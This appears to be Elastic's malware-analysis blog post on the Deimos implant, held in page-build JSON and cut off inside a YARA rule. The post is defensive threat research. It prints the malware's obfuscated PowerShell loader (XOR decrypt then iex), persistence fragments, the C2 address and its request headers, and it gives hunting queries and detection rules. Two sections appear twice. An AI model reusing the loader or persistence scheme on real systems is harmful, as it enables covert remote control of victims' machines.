f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]},{"title":"Going Coast to Coast - Climbing the Pyramid with the Deimos Implant","slug":"going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant","date":"2022-06-08","description":"The Deimos implant was first reported in 2020 and has been in active development; employing advanced analysis countermeasures to frustrate analysis. This post details the campaign TTPs through the malware indicators.","image":"blog-security-radar-720x420.png","body":{"raw":"\n\u003e - A remote access tool is actively being developed in campaigns beyond the initially reported Jupyter Infostealer, SolarMarker, and Yellow Cockatoo campaigns\n\u003e - The malware employs multiple layers of complex obfuscation and encryption techniques\n\u003e - The malware has incorporated convincing lure files and digitally signed installation executables\n\u003e - The malware is part of intrusion sets that are used to establish an initial foothold and maintain persistence into contested environments\n\u003e - A successful takedown was completed by the Elastic Security team for the observed C2 infrastructure\n\nThe Deimos implant is a new, complex form of malware first reported in 2020. This remote access tool is under active development, with the aim of evading detection by using multiple layers of complex obfuscation and encryption techniques.\n\nThese advanced defensive countermeasures, which also include convincing lure files and digitally signed installation executables, can frustrate identification and analysis. However, the Elastic Security team recently completed a successful takedown of the observed command and control (C2) infrastructure, allowing us to provide detection rules and hunting techniques to aid in identifying this powerful implant.\n\nThis post details the tactics, techniques, and procedures, or TTPs, of the Deimos implant. Our goal is to help security practitioners leverage the Elastic Stack to collect and analyze malware and intrusion data by revealing information about how Deimos works that its creators have attempted to obscure for defensive purposes.\n\n## Overview\n\nThe Elastic Intelligence \u0026 Analytics team tracks a new strain of the Deimos initial access and persistence implant previously associated with the [Jupyter Infostealer](https://www.binarydefense.com/mars-deimos-solarmarker-jupyter-infostealer-part-1) malware (tracked elsewhere as [Yellow Cockatoo](https://redcanary.com/blog/yellow-cockatoo), and [SolarMarker](https://www.crowdstrike.com/blog/solarmarker-backdoor-technical-analysis)). This implant has demonstrated a maturation of obfuscation techniques as a result of published research. This indicates that the activity group is actively modifying its codebase to evade detective countermeasures.\n\nThe sample we observed was not leveraged as an information stealer. It is an implant that provides initial access, persistence, and C2 functions. This makes the implant powerful in that it can be used to accomplish any tasks that require remote access. It is likely that these intrusions are the beginning of a concentrated campaign against the victims or will be sold off in bulk for other campaigns unassociated with the access collection.\n\nThe analysis will leverage David Bianco's [Pyramid of Pain](http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html) analytical model to describe the value of atomic indicators, artifacts, tool-markings, and TTPs to the malware authors and how uncovering them can impact the efficiency of the intrusion sets leveraging this implant. Additionally, we are providing some host-based hunting techniques and detection rules that can be leveraged to identify this implant and others that share similar artifacts and TTPs.\n\n## Details\n\nOn August 31, 2021, Elastic observed process injection telemetry that shared techniques with the Jupyter Infostealer as reported by Morphisec, Binary Defense, and security researcher Squibydoo [[1](https://blog.morphisec.com/jupyter-infostealer-backdoor-introduction)] [[2](https://blog.morphisec.com/new-jupyter-evasive-delivery-through-msi-installer)] [[3](https://www.binarydefense.com/mars-deimos-solarmarker-jupyter-infostealer-part-1)] [[4](https://squiblydoo.blog/2021/05/02/mars-deimos-solarmarker-jupyter-infostealer-part-1)] [[5](https://squiblydoo.blog/2021/06/20/mars-deimos-from-jupiter-to-mars-and-back-again-part-two)]. As we began analysis and compared the samples we observed to prior research, we identified a change in the way obfuscation was implemented. This change may be the result of several factors, one of which is an attempt by the adversary to bypass or otherwise evade existing defenses or malware analysis.\n\n_Note: As previous versions of this malware have been thoroughly documented, we will focus on newly observed capabilities and functionality._\n\nDuring dynamic analysis of the malware, we observed behavior similar to that which had been reported elsewhere - namely obfuscation using a litany of runtime-created variables (variables that are unique to each execution), directories, an XOR cipher, and Base64 encoded commands. Below, is an example of the new obfuscation tactics employed by the malware author to hinder analysis. We'll discuss this in detail as we unpack the malware's execution.\n\n```\n\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -command \"$650326ac2b1100c4508b8a700b658ad7='C:\\Users\\user1\\d2e227be5d58955a8d12db18fca5d787\\a5fb52fc397f782c691961d23cf5e785\\4284a9859ab2184b017070368b4a73cd\\89555a8780abdb39d3f1761918c40505\\83e4d9dd7a7735a516696a49efcc2269\\d1c086bb3efeb05d8098a20b80fc3c1a\\650326ac2b1100c4508b8a700b658ad7';$1e3dadee7a4b45213f674cb23b07d4b0='hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX';$d6ffa847bb31b563e9b7b08aad22d447=[System.Convert]::FromBase64String([System.IO.File]::ReadAllText($650326ac2b1100c4508b8a700b658ad7));remove-item $650326ac2b1100c4508b8a700b658ad7;for($i=0;$i -lt $d6ffa847bb31b563e9b7b08aad22d447.count;)\\{for($j=0;$j -lt $1e3dadee7a4b45213f674cb23b07d4b0.length;$j++)\\{$d6ffa847bb31b563e9b7b08aad22d447[$i]=$d6ffa847bb31b563e9b7b08aad22d447[$i] -bxor $1e3dadee7a4b45213f674cb23b07d4b0[$j];$i++;if($i -ge $d6ffa847bb31b563e9b7b08aad22d447.count)\\{$j=$1e3dadee7a4b45213f674cb23b07d4b0.length\\}\\}\\};$d6ffa847bb31b563e9b7b08aad22d447=[System.Text.Encoding]::UTF8.GetString($d6ffa847bb31b563e9b7b08aad22d447);iex $d6ffa847bb31b563e9b7b08aad22d447;\"\n```\n\n_Figure 1: PowerShell executed by malware installer_\n\nThe sample we observed created a Base64-encoded file nested several subdirectories deep in the %USERPROFILE% directory and referenced this file using a runtime variable in the PowerShell script ($650326ac2b1100c4508b8a700b658ad7 in our sample). Once this encoded file was read by PowerShell, it is deleted as shown in Figure 2. Other published research observed the Base64 string within the PowerShell command which made it visible during execution. This shows an adaptation of the obfuscation techniques leveraged by the malware authors in response to reports published by security researchers.\n\n```\nFromBase64String([System.IO.File]::ReadAllText($650326ac2b1100c4508b8a700b658ad7));remove-item $650326ac2b1100c4508b8a700b658ad7\n```\n\n_Figure 2: Base64 encoded file read and then deleted_\n\nAdditionally, there was the inclusion of another variable ($1e3dadee7a4b45213f674cb23b07d4b0 in our example) with a value of hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX. By deobfuscating the PowerShell command, we determined that this value was the XOR key used to decrypt the value of the 650326ac2b1100c4508b8a700b658ad7 file. Now that we had the location of the Base64 encoded file and the ability to decrypt it, we needed to prevent it from being deleted.\n\nTo do this, we leveraged the [FileDelete](https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon#event-id-23-filedelete-file-delete-archived) event configuration for Sysmon. By default, this creates a directory in the \"C:\\Sysmon\" directory and then places all deleted files (named by the file MD5 + SHA256 hashes + 33 0's + extension) in that folder. This directory is only available to the SYSTEM user. We used [PSExec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec) to access the folder (psexec -sid cmd). The file contained a single-line Base64-encoded string.\n\nAs we observed in the PowerShell above, the contents are protected using an XOR cipher, but a cipher we have the key for. Using the command-line tools [base64](https://linux.die.net/man/1/base64) and [xortool](https://github.com/hellman/xortool), we're able to decode and decrypt the file:\n\n- base64\n - -D - use the base64 program to decode\n - -i - the input file to be decoded\n - -o - the output file to save the decoded content\n- xortool-xor\n - -r - the XOR cipher key\n - -f - the file that is XOR encrypted\n - \\\\\u003e - output the decrypted file\n\n```\nbase64 -D -i 650326ac2b1100c4508b8a700b658ad7.encoded \\\n-o 650326ac2b1100c4508b8a700b658ad7.decoded\n\nxortool-xor -r hYaAOxeocQMPVtECUZFJwGHzKnmqITrlyuNiDRkpgdWbSsfjvLBX \\\n-f 650326ac2b1100c4508b8a700b658ad7.decoded \\\n\\\u003e 650326ac2b1100c4508b8a700b658ad7.xor\n```\n\n_Figure 3: Decrypting the XOR'd Base64 encoded file_\n\nThis resulted in another obfuscated file that started with an XOR'd Base64-encoded variable and ended with more PowerShell.\n\n```\n$adab58383614f8be4ed9d27508c2b='FTDSclNHUTdlaXBxnKdZa9pUUW9iakpFGDBaelBHbE9mbTVZYlVFbWIxZ...\n\n...CReaTEShorTcuT($ENV:APpDATa+'\\m'+'IcR'+'OSO'+'Ft'+'\\w'+'Ind'+'OW'+'S\\'+'sT'+'ARt'+' ME\n'+'nU'+'\\pr'+'OGR'+'aMS\\'+'sT'+'ART'+'uP'+'\\a44f066dfa44db9fba953a982d48b.LNk');$a78b0ce650249ba927e4cf43d02e5.tARGETpaTh=$a079109a9a641e8b862832e92c1c7+'\\'+$a7f0a120130474bdc120c5f\n13775a;$a78b0ce650249ba927e4cf43d02e5.WInDoWSTYLE=7;$a78b0ce650249ba927e4cf43d02e5.sAvE();IEx $a54b6e0f7564f4ad0bf41a1875401;\n```\n\n_Figure 4: Final obfuscated file (truncated)_\n\nFollowing the same process as before, we identified the XOR key (which may have been trying to use an = sign to appear to look like it was Base64) and decoded the file.\n\n```\nXjBrPGQ7aipqcXYkbTQobjJEX0ZzPGlOfm5YbUEmb1dBazZ0RlpCa2hLQks8eXNxK3tsRHpZVmtmUU9mb31jaVVuMXUxUGk/e0tDa0QmXjA8U0ZAckhgNl5vX1deQGBad2peTyZvVUByaSk2XlBJMTxAdEtnT0B3fnBJPCtfe2tvV0d7P3Y0V2BaeXQ9PmhtI3ZaVHc3I2tGcm5IRmlmUTV8bXpxXlg/cyo8XyFwXyt5QmwjOChQZ09aPXxqaS1hfmxDK3U=\n```\n\n_Figure 5: XOR cipher key_\n\nThis process yielded a .NET DLL file that creates an implant tracking ID and files used for persistence (more about the tracking ID is in the Analysis - Initial Access section).\n\n```\nadab58383614f8be4ed9d27508c2b: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows\n```\n\n_Figure 6: .NET DLL file type_\n\nThe DLL calls itself Mars.Deimos and correlates to previous research by Morphisec, Binary Defense, and security researcher Squibydoo [[1](https://blog.morphisec.com/jupyter-infostealer-backdoor-introduction)] [[2](https://blog.morphisec.com/new-jupyter-evasive-delivery-through-msi-installer)] [[3](https://www.binarydefense.com/mars-deimos-solarmarker-jupyter-infostealer-part-1)] [[4](https://squiblydoo.blog/2021/05/02/mars-deimos-solarmarker-jupyter-infostealer-part-1)] [[5](https://squiblydoo.blog/2021/06/20/mars-deimos-from-jupiter-to-mars-and-back-again-part-two)]. The particular samples that we've observed utilize the .NET hardening tool [Dotfuscator CE 6.3.0](https://www.preemptive.com/dotfuscator/ce/docs/help/index.html) to hinder malware analysis.\n\nWhat we found particularly interesting is that the authors have spent time modifying the malware in an attempt to make it harder to detect, indicating that they're incentivized to maintain the malware. This is good to know as we move into the analysis phase because it means that we can make an impact on a valuable malware implant that will frustrate those using it for financial gain.\n\n## Analysis\n\nAll indicators referenced in the analysis are located in the Indicators section.\n\n### The Pyramid of Pain\n\nBefore we get into the analysis, let's discuss the model we used to help guide our process.\n\nIn 2013, security researcher David Bianco released an analytical model called the [Pyramid of Pain](http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html). The model is intended to understand how uncovering different parts of an intrusion can impact a campaign. As you can see in the model below, identifying hash values are useful, but easily changed by an adversary whereas identifying TTPs is very difficult for an adversary to change.\n\n![Figure 7: Pyramid of Pain](/assets/images/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant/deimos-pyramid-of-pain.jpg)\n\nThe goal of using the Pyramid of Pain is to understand as much about the intrusion as possible and project the impact (read: the amount of \"pain\") you can inflict. Throughout the analysis of the observed samples, we'll overlay them onto the Pyramid of Pain as an illustrative method to assess the potential impact.\n\n### File Hashes\n\nOnce we identified that we had observed a new variant of the malware sample, we applied search queries to our dataset and identified 10 unique organizations across multiple verticals, indicating that this did not appear to be targeted. From those 10 organizations, we observed 10 different initial-installer file hashes. The dropped encoded files are also all different.\n\nSo while this information is useful, it is apparent that using a file hash as a detection method would not be useful across organizations.\n\n### IP Addresses\n\nAs other researchers have noted, we observed the same IP address used in the campaign. This IP address was [first associated](https://www.virustotal.com/gui/ip-address/216.230.232.134/relations) with malicious files on August 30, 2021.\n\n```\nIP 216.230.232.134\nAnycast false\nCity Houston\nRegion Texas\nCountry United States (US)\nLocation 29.7633,-95.3633\nOrganization AS40156 The Optimal Link Corporation\nPostal 77052\nTimezone America/Chicago\n```\n\n_Figure 8: Information on identified IP address_\n\nThis IP address has been reported to multiple abuse sites and identified independently by multiple security researchers. We initiated a successful takedown request of the IP address on September 21, 2021, which has removed the observed C2 infrastructure access to any implants.\n\nWhile this atomic indicator is useful for blocking on a firewall, it is trivial for an adversary to change to another IP address, so let’s try to get higher up the pyramid and make a bigger impact on the adversary.\n\n### Artifacts\n\n#### Resource Development\n\nThe lure file samples we analyzed were predominantly signed by organizations in Scandinavian and Slavic-speaking countries, with two outliers from English and French-speaking countries. Multiple samples were signed with a digital certificate registered as a \"Spoloènos s Ruèením Obmedzeným\" (S.R.O.). An [S.R.O.](https://www.offshorecompany.com/company/slovakia-s-r-o/) is a business designation for Slovakian businesses owned by a foreign entity.\n\nThe S.R.O. that we observed as owning the digital signatures (SRO #1) was formed on July 29, 2021, and the signature was observed starting on August 26, 2021. Additionally, the S.R.O. that we observed is owned by a different S.R.O. (SRO #2).\n\n## File Hashes\n\nOnce we identified that we had observed a new variant of the malware sample, we applied search queries to our dataset and identified 10 unique organizations across multiple verticals, indicating that this did not appear to be targeted. From those 10 organizations, we observed 10 different initial-installer file hashes. The dropped encoded files are also all different.\n\nSo while this information is useful, it is apparent that using a file hash as a detection method would not be useful across organizations.\n\n## IP Addresses\n\nAs other researchers have noted, we observed the same IP address used in the campaign. This IP address was [first associated](https://www.virustotal.com/gui/ip-address/216.230.232.134/relations) with malicious files on August 30, 2021.\n\n```\nIP 216.230.232.134\nAnycast false\nCity Houston\nRegion Texas\nCountry United States (US)\nLocation 29.7633,-95.3633\nOrganization AS40156 The Optimal Link Corporation\nPostal 77052\nTimezone America/Chicago\n```\n\n_Figure 8: Information on identified IP address_\n\nThis IP address has been reported to multiple abuse sites and identified independently by multiple security researchers. We initiated a successful takedown request of the IP address on September 21, 2021, which has removed the observed C2 infrastructure access to any implants.\n\nWhile this atomic indicator is useful for blocking on a firewall, it is trivial for an adversary to change to another IP address, so let’s try to get higher up the pyramid and make a bigger impact on the adversary.\n\n### Artifacts\n\n##### Resource Development\n\nThe lure file samples we analyzed were predominantly signed by organizations in Scandinavian and Slavic-speaking countries, with two outliers from English and French-speaking countries. Multiple samples were signed with a digital certificate registered as a \"Spoloènos s Ruèením Obmedzeným\" (S.R.O.). An [S.R.O.](https://www.offshorecompany.com/company/slovakia-s-r-o/) is a business designation for Slovakian businesses owned by a foreign entity.\n\nThe S.R.O. that we observed as owning the digital signatures (SRO #1) was formed on July 29, 2021, and the signature was observed starting on August 26, 2021. Additionally, the S.R.O. that we observed is owned by a different S.R.O. (SRO #2).\n\n![Figure 9: Lure file digital signing S.R.O. (SRO #1) and owner (SRO #2)](/assets/images/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant/deimos-lure-file-digital-signing-sro1-and-owner-sro2.jpg)\n\nSRO #2 has been in business since August 19, 2014, and provides a variety of services. The owner of SRO #2 has a single-named partner located in a country in the former Eastern Bloc of Europe (Executive manager).\n\n![Figure 10: SRO #2 and SRO #1 sharing the same executive manager](/assets/images/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant/SRO_2.jpg)\n\nWe are unable to state definitively if the organizations or people are intentionally involved, cutouts, or unwilling participants so we will not be naming them. This process of obtaining possibly stolen certificates aligns with other samples we analyzed. It is obvious that however these certificates were procured, the person (or persons) responsible appear well-versed with the bureaucracies and laws required in registering a foreign-owned business in Slovakia.\n\n## Initial Access\n\nWe observed the most indicators in this tier. Indicators in the Artifacts tier, both host and network, are valuable to a defender because they are difficult for an adversary to change without considerable rearchitecting of the way the malware functions. This differs from atomic indicators (hashes and infrastructure) in that those elements are modular and can simply be updated. Artifacts, like cipher keys (as we'll see below), are often hard-coded into the source code prior to compilation and require significant work to adjust.\n\nThe dropper creates a series of nested directories whose names are 32-characters long, alphanumeric, and lowercase. In all cases we've observed, there are six nested directories, and a single file within the final subdirectory using the same naming convention. During the initial execution, this file is loaded, deobfuscated with a 52-byte static XOR key, and then executed as a PowerShell script. We have included a hunting query in the Detection section that identifies this activity.\n\nAdditionally, the .Net assembly creates a string by listing all files located at %USERPROFILE%\\APPDATA\\ROAMING. This is stored as the hwid value, which is a unique identifier for this machine. If the file doesn't exist yet, it is created by generating 32 random bytes and encoding them with a custom Base64 encoding.\n\n## Persistence\n\nOnce executed, the PowerShell script establishes persistence of the malware generating a random quantity between 100 and 200 files in a directory named `%APPDATA%\\Microsoft\\\u003crandom string\u003e`. The random string contains only lowercase and uppercase letters A-Z and the digits 0-9. It could be anywhere between 10 to 20 characters in length. This directory is the staging directory. These files contain randomly generated bytes between 50,000 bytes and 200,000 bytes. The files themselves are named `\u003crandom string\u003e.\u003crandom string\u003e`, where each random string follows the same convention as the directory name. Lastly, one final file is written to this directory which contains an obfuscated .Net DLL. This is the actual Deimos implant. It resembles the dummy files with similar attributes in this directory, further attempting to evade defenses.\n\nThe next function script will create two registry keys that provide a Windows shell handler for the first file of random data created above. It uses the file extension of that file to associate a request to execute it with running a PowerShell command. The registry keys are created at `HKEY\\_CURRENT\\_USER\\Software\\Classes\\\u003crandom string\u003e\\`, where the random string follows the same convention as mentioned above, except for all lowercase characters. The first key will further have a subkey of \\Shell\\Open\\Command that contains the loader PowerShell script. The string value itself has mixed cases in an effort to be more difficult to search for. For example PowErShELl was used in our sample. The second key is effectively an alias that matches the file extension of the first randomly generated file above. It's value matches the lowercase value of the random string used in the first key's path.\n\nThe final persistence artifact is a .LNk file that is placed in the user's StartUp directory. In this sample, it is hard-coded to be named a44f066dfa44db9fba953a982d48b.LNk. The shortcut is set to launch the first randomly generated file above and will open in a minimized window. Upon user login, the link file will tell Windows to launch the file, but it isn't executable. The registry keys above tell Windows to launch the PowerShell command configured in the first key above to execute the file. The PowerShell command contains the full path to the obfuscated .Net DLL and the XOR key to deobfuscate it. Finally, the .Net DLL assembly will be executed by PowerShell by calling the class method [Mars.Deimos]::interact(). This persistence architecture can be difficult to follow in text, so below is a visual representation of the persistence mechanism.\n\n![Figure 11: Persistence mechanism flow](/assets/images/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant/deimos-persistence-mechanism-flow.png)\n\n#### Command and Control Phase\n\nThe malware provides a general-purpose implant that can perform any action at its privilege level. Namely, it can receive and execute a Windows PE file, a PowerShell script, a .Net DLL assembly, or run arbitrary PowerShell commands.\n\nThere are a few command-specific permutations of payload encapsulations, but they are passed to a common method to perform the web request to the C2 server. The web request uses an HTTP POST method and sets a 10-minute timeout on establishing communication.\n\nNo additional headers are set other than the default headers populated by the .Net WebRequest provider, which are: Host, Content-Length, and Connection: Keep-Alive.\n\n```\nPOST / HTTP/1.1\nHost: 216.230.232.134\nContent-Length: 677\nConnection: Keep-Alive\n```\n\n_Figure 12: C2 HTTP headers_\n\nFigure 13 depicts the hex dump of the body of the client's POST request.\n\n![Figure 13: C2 HTTP body](/assets/images/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant/deimos-c2-http-body.jpg)\n\nThe first bytes in white are randomly generated and prepended to the body to obfuscate patterns in network communication. There will be between 0 and 512 of these bytes. Next, shown in green, is a null byte, marking the end of random data. The next 10 bytes, shown in blue, are a “cookie” value sent in the last communication from the server. This is likely to prevent replaying captured packets to the server, as each communication is unique. There is nothing specific requiring this to be 10 bytes, but in all traffic we observed, this was the case. In the case of the initial check-in, this is not present. Finally, the remaining bytes shown in red here are the encrypted body. For the initial check-in, this is exactly 256-bytes of RSA encrypted data that includes the key that will be used in follow-on communications, and the unique hardware ID for this implant. For the remaining communications, the client uses AES-128 CBC mode for encryption. For AES encryption, this portion will always be a multiple of 16-bytes in length.\n\nThe RSA public key used for the initial handshake is unique for each campaign. Using the YARA rule in [Figure 24](#yara-rules), we were able to discover a total of 65 samples of the implant. The RSA key provided a pivot to discern unique campaigns, spanning countries from the United States to Moldova. Only 12.5% of the samples included information stealing features, similar to what has been observed with the Jupyter Infostealer. The rest of the samples were the Deimos implant with no additional info stealing capabilities. This could mean that the implant is gaining in popularity as it is full-featured and can be used for initial access and persistence for any campaigns.\n\n#### Main Loop\n\nOnce the check-in process is completed, the main process loop begins. The default action of the implant during the main loop is the ping action. ping sends information about the environment, including the machine name, Windows version, CPU architecture, information about if the user has administrative privileges, and a version string for the implant.\n\nIf a task is scheduled for the implant, the response to the ping command will contain a status value that is set to either \"file\" or \"command\". If no task is given, the implant will sleep for 20 seconds + a random wait between 0 and 20 seconds. This is the wait time between all tasks.\n\nFor \"file\" tasks, the implant immediately performs another request using the task_id attribute from the task definition to retrieve the file. The implant expects an \"exe\" file, a \"ps1\" file, or a \"module\", which is a .Net Assembly file.\n\nWhen an \"exe\" is downloaded, it will be written to a file in the `%TEMP%\\\u003cRANDOM\\_NAME\u003e.exe`, where RANDOM_NAME is a 24-character alphanumeric value with all capital letters. A new process is immediately launched by executing the file and the status is reported on the next task interval.\n\nWhen a \"ps1\" file is downloaded, the contents of the script are passed to a new PowerShell process using Standard Input.\n\nFinally, \"module\" files are added to a \"plugin manager\" and executes the \"Run\" method.\n\nFor \"command\" tasks, no additional request is required. The \"command\" value from the response contains PowerShell code that will be executed the same as the \"ps1\" file type.\n\nPresumably, the difference is for quick scripts or perhaps interactive operations, the threat actor would use the \"command\" type. For larger scripts, the \"file\" type would be used.\n\n### Tools\n\nLooking at the metadata from all of the observed samples, we can see a high-confidence connection in that they were all created using a single PDF software platform.\n\n```\nComments : This installation was built with Inno Setup.\nCompany Name :\nFile Description : SlimReader Setup\nFile Version :\nLegal Copyright : (c) InvestTech\nOriginal File Name :\nProduct Name : SlimReader\nProduct Version : 1.4.1.2\n```\n\n_Figure 14: Malware lure file metadata_\n\nWhile this software seems to be legitimate, it seems to be frequently used to create lure files. We have observed 53 malware, or malware-adjacent, samples created using the SlimReader tool. Additionally, the research team at eSentire [identified](https://www.esentire.com/security-advisories/hackers-flood-the-web-with-100-000-malicious-pages-promising-professionals-free-business-forms-but-are-delivering-malware-reports-esentire) SlimReader as the tool of choice in the creation of, as reported, many hundreds of thousands of lure files.\n\n### TTPs\n\nAt the very top of the pyramid, we observe a characteristic that is present in our samples as well as others reported by security researchers. In all observed cases, the malware used techniques known as [Google Sneaky Redirects](https://developers.google.com/search/docs/advanced/guidelines/sneaky-redirects) and [Search Engine Optimization (SEO) Poisoning](https://www.bankinfosecurity.com/how-seo-poisoning-used-to-deploy-malware-a-16882) to trick users into installing the malware.\n\nSEO poisoning is a technique used to put SEO keywords in a document to inflate its ranking on search engines, so malicious documents and websites are higher on web search results. Additionally, Google Sneaky Redirects is a technique used to name the initial malware installer after the Google search as a way to fool the user into clicking on the file they downloaded. As an example, if a user searches for \"free resume template\", and then clicks on a malicious website that appears to have that file, they will be presented with a malware installer named, in this example, free-resume-template.exe. The malware will leverage a PDF icon even though it is an executable as an attempt to trick the user into executing the PE file, which starts the PowerShell processes highlighted below in the Elastic Analyzer view.\n\n![Figure 15: Malware executing obfuscated PowerShell processes](/assets/images/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant/deimos-malware-executing-obfuscated-powershell-processes.png)\n\nUnderstanding the malware processes as well as how it interacts with the different elements with the Pyramid of Pain is paramount to inflicting long-term impacts to the activity group and intrusion sets.\n\n## Impact\n\nThe described intrusion sets leverage multiple tactics and techniques categorized by the MITRE ATT\u0026CK® framework. Other TTPs may exist, however, they were not observed during our analysis.\n\n### Tactics\n\n- [Resource Development](https://attack.mitre.org/tactics/TA0042)\n- [Initial Access](https://attack.mitre.org/tactics/TA0001)\n- [Execution](https://attack.mitre.org/tactics/TA0002)\n- [Persistence](https://attack.mitre.org/tactics/TA0003)\n- [Defense Evasion](https://attack.mitre.org/tactics/TA0005)\n- [Command and Control](https://attack.mitre.org/tactics/TA0011)\n\n### Techniques / Sub Techniques\n\n- [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) - [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)\n- [Develop Capabilities](https://attack.mitre.org/techniques/T1587) - [Malware](https://attack.mitre.org/techniques/T1587/001), [Code Signing Certificates](https://attack.mitre.org/techniques/T1587/002) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588) - [Malware](https://attack.mitre.org/techniques/T1588/001), [Code Signing Certificates](https://attack.mitre.org/techniques/T1588/003)\n- [Drive-by Compromise](https://attack.mitre.org/techniques/T1189/)\n- [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) - [PowerShell](https://attack.mitre.org/techniques/T1059/001)\n- [User Execution](https://attack.mitre.org/techniques/T1204) - [Malicious File](https://attack.mitre.org/techniques/T1204/002)\n- [Boot or Logon Autostart Execution](https://attack.mitre.org/techniques/T1547) - [Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1547/001)\n- [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140)\n- [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) - [Indicator Removal from Tools](https://attack.mitre.org/techniques/T1027/005)\n- [Application Layer Protocol](https://attack.mitre.org/techniques/T1071) - [Web Protocols](https://attack.mitre.org/techniques/T1071/001)\n\n## Detection\n\nThere is an [existing detection rule](https://www.elastic.co/guide/en/security/8.0/shortcut-file-written-or-modified-for-persistence.html) that will generically identify this activity. We are also releasing two additional rules to detect these techniques. Additionally, we are providing hunting queries that can identify other intrusion sets leveraging similar techniques.\n\n### Detection Logic\n\nElastic maintains a public repository for detection logic using the Elastic Stack and Elastic Endgame.\n\n### New Detection Rules\n\n[Suspicious Registry Modifications](https://github.com/elastic/detection-rules/issues/1488)\n\n[Abnormal File Extension in User AppData Roaming Path](https://github.com/elastic/detection-rules/issues/1489)\n\n## Hunting Queries\n\nThese queries can be used in Kibana's Security -\u003e Timelines -\u003e New Timeline → Correlation query editor. While these queries will identify this intrusion set, they can also identify other events of note that, once investigated, could lead to other malicious activities.\n\nThis query will identify the initial dropped file containing the obfuscated installer.\n\n```\nfile where file.path regex \"\"\"C:\\\\Users\\\\[^\\\\]*\\\\([a-z0-9]{32}\\\\){6}[a-z0-9]{32}\"\"\"\n```\n\n_Figure 16: Hunt query identifying initial installer_\n\n![Figure 17: Hunt query identifying initial installer using Timelines](/assets/images/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant/dashboard-deimos-hunt-query-identifying-initial-installer-using-timelines.jpg)\n\nThis query will identify the unique “Hardware ID” file (`hwid`) that is created the first time the implant is run. This ID file is used to uniquely identify this installation.\n\n```\nfile where file.path regex~ \"\"\".*\\\\APPDATA\\\\ROAMING\\\\[A-Za-z0-9_]{96,192}\"\"\"\n```\n\n_Figure 18: Hunt query identifying Hardware ID_\n\n![Figure 19: Hunt query identifying Hardware ID using Timelines](/assets/images/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant/dashboard-deimos-hunt-query-identifying-hardware-id-using-timelines.jpg)\n\nThis query will identify any files with a file extension of ten or more characters in the AppData\\Roaming path.\n\n```\nfile where file.path : \"*\\\\appdata\\\\roaming\\\\*\" and\nlength(file.extension) \u003e= 10 and\nprocess.name : (\"cmd.exe\", \"powershell.exe\", \"wmic.exe\", \"mshta.exe\", \"pwsh.exe\", \"cscript.exe\", \"wscript.exe\", \"regsvr32.exe\", \"RegAsm.exe\", \"rundll32.exe\", \"EQNEDT32.EXE\", \"WINWORD.EXE\", \"EXCEL.EXE\", \"POWERPNT.EXE\", \"MSPUB.EXE\", \"MSACCESS.EXE\", \"iexplore.exe\", \"InstallUtil.exe\")\n```\n\n_Figure 20: Hunt query identifying long file extensions_\n\n![Figure 21: Hunt query identifying long file extensions in Timelines](/assets/images/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant/dashboard-deimos-hunt-query-identifying-long-file-extensions-in-timelines.jpg)\n\nThis query will identify a long string value containing the word \"powershell\" in the Registry.\n\n```\nregistry where registry.data.strings : \"*powershell*\" and length(registry.data.strings) \\\u003e= 100\n```\n\n_Figure 22: Hunt query identifying long Registry strings_\n\n![Figure 23: Hunt query identifying long Registry strings in Timelines](/assets/images/going-coast-to-coast-climbing-the-pyramid-with-the-deimos-implant/dashboard-deimos-hunt-query-identifying-long-registry-strings-in-timelines.jpg)\n\n## YARA Rules\n\nWe have created a YARA rule to identify the presence of the Deimos trojan DLL file described in this post.\n\n```\nrule Windows_Trojan_Deimos_DLL {\nmeta:\nauthor = \"Elastic Security\"\ncreation_date = \"2021-09-18\"\nlast_modified = \"2021-09-18\"\nos = \"Windows\"\narch = \"x86\"\ncategory_type = \"Trojan\"\nfamily = \"Deimos\"\nthreat_name = \"Windows.Trojan.Deimos\"\ndescription = \"Detects the presence of the Deimos trojan DLL file.\"\nreference = \"\"\nreference_sample = \"2c1941847f660a99bbc6de16b00e563f70d900f9dbc40c6734871993961d3d3e\"\n\nstrings:\n$a1 = 